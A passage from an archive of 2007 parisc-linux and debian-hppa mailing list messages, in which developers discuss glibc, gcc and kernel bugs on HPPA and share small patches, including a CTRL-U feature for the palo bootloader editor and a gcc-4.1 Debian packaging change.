	by murphy.debian.org (Postfix) with ESMTP id B885F2E7D4
	for <debian-hppa@lists.debian.org>; Thu,  5 Jul 2007 17:29:18 +0000 (UTC)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l65HShZJ008598;
	Thu, 5 Jul 2007 13:28:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l65HSg7S008597;
	Thu, 5 Jul 2007 13:28:42 -0400 (EDT)
In-Reply-To: <468D22EA.7000405@aurel32.net> from "Aurelien Jarno" at Jul 5, 2007 06:57:14 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <pNnkZC.A.stF.E7SjGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5846
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  5 Jul 2007 17:47:48 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: mha7D/dVQEVtMujDZnVpdi5KNzg2NYJ2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24687

> On the other hand, the LinuxThreads build on other architectures are
> still fine even with the latest gcc in Debian.

Is the __librt_multiple_threads symbol defined, undefined or not
used in librt.so?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sat, 30 Jun 2007 13:51:49 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200706301751.l5UHpnrw011062__1000.03481279618$1416624404$gmane$org@hiauly1.hia.nrc.ca>
References: <20070630165455.GA465@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624404 24651 80.91.229.3 (22 Nov 2014 02:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:44 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jun 2007 17:52:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 30 Jun 2007 19:52:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C22837DD35;
	Sat, 30 Jun 2007 11:51:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26781-10; Sat, 30 Jun 2007 11:51:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 657417DD36;
	Sat, 30 Jun 2007 11:51:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4579C7DD35
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 11:51:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26778-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 11:51:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6872D7DD33
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jun 2007 11:51:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l5UHpoms011063;
	Sat, 30 Jun 2007 13:51:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l5UHpnrw011062;
	Sat, 30 Jun 2007 13:51:49 -0400 (EDT)
In-Reply-To: <20070630165455.GA465@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 30, 2007 12:54:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C+3nIrxVa0ApbL6aejEzQ3I3Njh6dM62
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24688

> On Sat, Jun 30, 2007 at 11:44:13AM -0400, John David Anglin wrote:
> > > Could you try this patch?
> > 
> > I installed it last night.  svn works, gcc bootstraps and I haven't
> > seen any other problems.  There was a problem building libjava with
> > the getdents bug.
> >
> 
> OK. I'll try to build a HEAD kernel and boot with an old glibc to see if
> it fucks up. Is there a really easy testcase I can try to reproduce
> this?

I phrased my response badly.  I haven't seen any new problems and
the change fixes the libjava build problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Fri, 6 Jul 2007 09:20:38 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <5b2e36650707060920w19b07eeeu1fb2cd8f8c38a996__44531.0251242065$1416624404$gmane$org@mail.gmail.com>
References: <20070604014313.GB2075@fattire.cabal.ca>
	<200706040147.l541lAP3022868@hiauly1.hia.nrc.ca>
	<20070629072912.GC9495@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624404 24656 80.91.229.3 (22 Nov 2014 02:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2007 16:20:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 06 Jul 2007 18:20:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D2C27DD80;
	Fri,  6 Jul 2007 10:20:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22032-06; Fri, 6 Jul 2007 10:20:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 610507DD82;
	Fri,  6 Jul 2007 10:20:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CE1F7DD7A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Jul 2007 10:20:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22032-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 6 Jul 2007 10:20:41 -0600 (MDT)
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.182])
	by free.linux.hp.com (Postfix) with ESMTP id 7E6507DD77
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Jul 2007 10:20:41 -0600 (MDT)
Original-Received: by wa-out-1112.google.com with SMTP id j40so351713wah
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 06 Jul 2007 09:20:38 -0700 (PDT)
Original-Received: by 10.114.88.1 with SMTP id l1mr781843wab.1183738838072;
	Fri, 06 Jul 2007 09:20:38 -0700 (PDT)
Original-Received: by 10.114.108.14 with HTTP; Fri, 6 Jul 2007 09:20:37 -0700 (PDT)
In-Reply-To: <20070629072912.GC9495@fattire.cabal.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 31m3czMjeWU6YLeUfHVz8Wg5U3U4N8/l
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24689

On 29/06/07, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sun, Jun 03, 2007 at 09:47:10PM -0400, John David Anglin wrote:
> > > I don't suppose you could strace in a chroot with a older working glibc
> > > and see what syscalls are there?
> >
> > Probably, I won't have time until next weekend.
> >
>
> Could you try this patch?

I tried it to see if it would fix the strangeness in the glibc
testsuite where three tests can't find files, but if run a couple
seconds later finds them fine.  It doesn't fix this, but it also
doesn't cause any further regressions.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [palo patch] Implement CTRL-U functionality
Date: Fri, 06 Jul 2007 16:44:05 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <468ED3C5.8040104__21588.7906881564$1416624404$gmane$org@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------040204040303090305040207"
X-Trace: ger.gmane.org 1416624404 24659 80.91.229.3 (22 Nov 2014 02:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jul 2007 23:44:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 07 Jul 2007 01:44:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9E517DDF9;
	Fri,  6 Jul 2007 17:44:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23957-08; Fri, 6 Jul 2007 17:44:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E5F87DD56;
	Fri,  6 Jul 2007 17:44:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 122A37DD60
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Jul 2007 17:44:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24635-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 6 Jul 2007 17:44:04 -0600 (MDT)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 0AC517DD56
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Jul 2007 17:44:04 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50) id 1I6xSy-0002jB-ID
	for parisc-linux@lists.parisc-linux.org; Sat, 07 Jul 2007 07:44:00 +0800
User-Agent: Thunderbird 1.5.0.12 (Windows/20070509)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qqLnKc8qMydzT4igZWplp55raGRhZhoz
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24690

This is a multi-part message in MIME format.
--------------040204040303090305040207
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

I keep on meaning to do this, and have finally done it.....

The attached patch makes the palo "editor" understand CTRL-U, so that 
you can quickly clear out a particular command line parameter.

Any comments? If not I will commit this in a few days, and hope that the 
Debian/Ubuntu/Gentoo folks eventually pick it up :)

randolph

--------------040204040303090305040207
Content-Type: text/plain;
 name="palo.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="palo.diff"

diff --git a/ipl/lib.c b/ipl/lib.c
index 544385e..06d790c 100644
--- a/ipl/lib.c
+++ b/ipl/lib.c
@@ -242,6 +242,17 @@ char *enter_text(char *txt, int maxchars)
 		putchar(' ');
 		putchar(c);
 	    }
+	} else if (c == 21)
+	{			/* CTRL-U */
+	    while (pos)
+	    {
+		pos--;
+		c='\b';
+		putchar(c);
+		putchar(' ');
+		putchar(c);
+	    }
+	    txt[0] = 0;
 	} else if ((pos < maxchars) && c >= ' ')
 	{
 	    txt[pos] = c;

--------------040204040303090305040207
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------040204040303090305040207--



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Mon, 2 Jul 2007 00:44:17 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <18056.11841.395484.508171__10312.3899935328$1416624405$gmane$org@gargle.gargle.HOWL>
References: <20070613082133.GA19999@frankengul.org>
	<200706131332.l5DDWObn025750@hiauly1.hia.nrc.ca>
	<20070613142304.GA21970@frankengul.org>
	<46705613.8020708@frankengul.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624405 24661 80.91.229.3 (22 Nov 2014 02:46:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:45 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2007 22:44:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 02 Jul 2007 00:44:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4E437DD26;
	Sun,  1 Jul 2007 16:44:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06761-08; Sun, 1 Jul 2007 16:44:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9EE277DD18;
	Sun,  1 Jul 2007 16:44:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1903D7DD11
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Jul 2007 16:44:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06761-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 Jul 2007 16:44:41 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 34E227DD08
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Jul 2007 16:44:41 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost-12225.cs.tu-berlin.de (Postfix) with ESMTP id F3C3D24B0F; 
	Mon,  2 Jul 2007 00:44:35 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 12224)
	with ESMTP id 10572-38; Mon,  2 Jul 2007 00:44:18 +0200 (MEST) 12643
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Mon,  2 Jul 2007 00:44:18 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.8+Sun/8.13.3/Submit) id l61MiH34002371; 
	Mon, 2 Jul 2007 00:44:17 +0200 (MEST)
In-Reply-To: <46705613.8020708@frankengul.org>
X-Mailer: VM 7.17 under 21.4 (patch 20) "Double Solitaire" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de (including spamassassin)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XRyxc+wMeWU6YLeUfHVzU205U3U4N48s
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24691

The proposed fix seems to be wrong, as it disables the backport on all
architectures.  Please could you recheck with current trunk? As jda
suggested, another backport is missing for hppa.

  Matthias

S=E9bastien Bernard writes:
> Ok, I nailed it.
> I removed PR20218 patch and generated a 4.1.2-12+b1 then build glibc.=

>=20
> Glibc build is ok now.
> I think the hppa toolchain can move on and build the glibc-2.5-11 and=
=20
> then rebuild the portmap and all pie executable (pfeww... what a bug =
chain).
>=20
> =09Seb
>=20
> diff -r -u -b -B -w gcc-4.1-4.1.2-12/debian/changelog gcc-4.1-4.1.2-1=
2+b1/debian/changelog
> --- gcc-4.1-4.1.2-12/debian/changelog=092007-06-13 22:34:38.000000000=
 +0200
> +++ gcc-4.1-4.1.2-12+b1/debian/changelog=092007-06-13 12:44:48.000000=
000 +0200
> @@ -1,3 +1,9 @@
> +gcc-4.1 (4.1.2-12+b1) unstable; urgency=3Dlow
> +
> +  * Revert 20218 patch that breaks gcc
> +
> + -- Sebastien Bernard <seb@frankengul.org>  Wed, 13 Jun 2007 12:44:0=
7 +0200
> +
>  gcc-4.1 (4.1.2-12) unstable; urgency=3Dhigh
> =20
>    * i386-biarch.dpatch: Update for the backport for PR target/31868.=

> diff -r -u -b -B -w gcc-4.1-4.1.2-12/debian/rules.patch gcc-4.1-4.1.2=
-12+b1/debian/rules.patch
> --- gcc-4.1-4.1.2-12/debian/rules.patch=092007-06-13 22:34:38.0000000=
00 +0200
> +++ gcc-4.1-4.1.2-12+b1/debian/rules.patch=092007-06-13 12:45:06.0000=
00000 +0200
> @@ -41,8 +41,6 @@
>  =09fastjar-version \
>  =09fastjar-doc \
>  =09libstdc++-doxygen \
> -=09pr20218 \
> -=09pr20218-mips \
>  =09pr31868 \
>  =09arm-libffi \
>  =09libffi-backport \
> @@ -112,10 +110,6 @@
>    debian_patches +=3D pr25524-doc pr26885-doc gcc-4.1-x86-blended-do=
c libjava-backport-updates2
>  endif
> =20
> -ifneq (,$(filter $(DEB_TARGET_ARCH), amd64 i386 powerpc ppc64 sparc =
s390))
> -  debian_patches +=3D pr20218
> -endif
> -
>  ifeq ($(with_libffi),yes)
>    debian_patches +=3D \
>  =09libffi-configure
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC trunk 20070630
Date: Mon, 2 Jul 2007 12:53:44 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200707021653.l62Grit6023802__1220.75307085669$1416624405$gmane$org@hiauly1.hia.nrc.ca>
References: <18057.10210.79139.936855@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624405 24662 80.91.229.3 (22 Nov 2014 02:46:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2007 16:54:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 02 Jul 2007 18:54:04 +0200
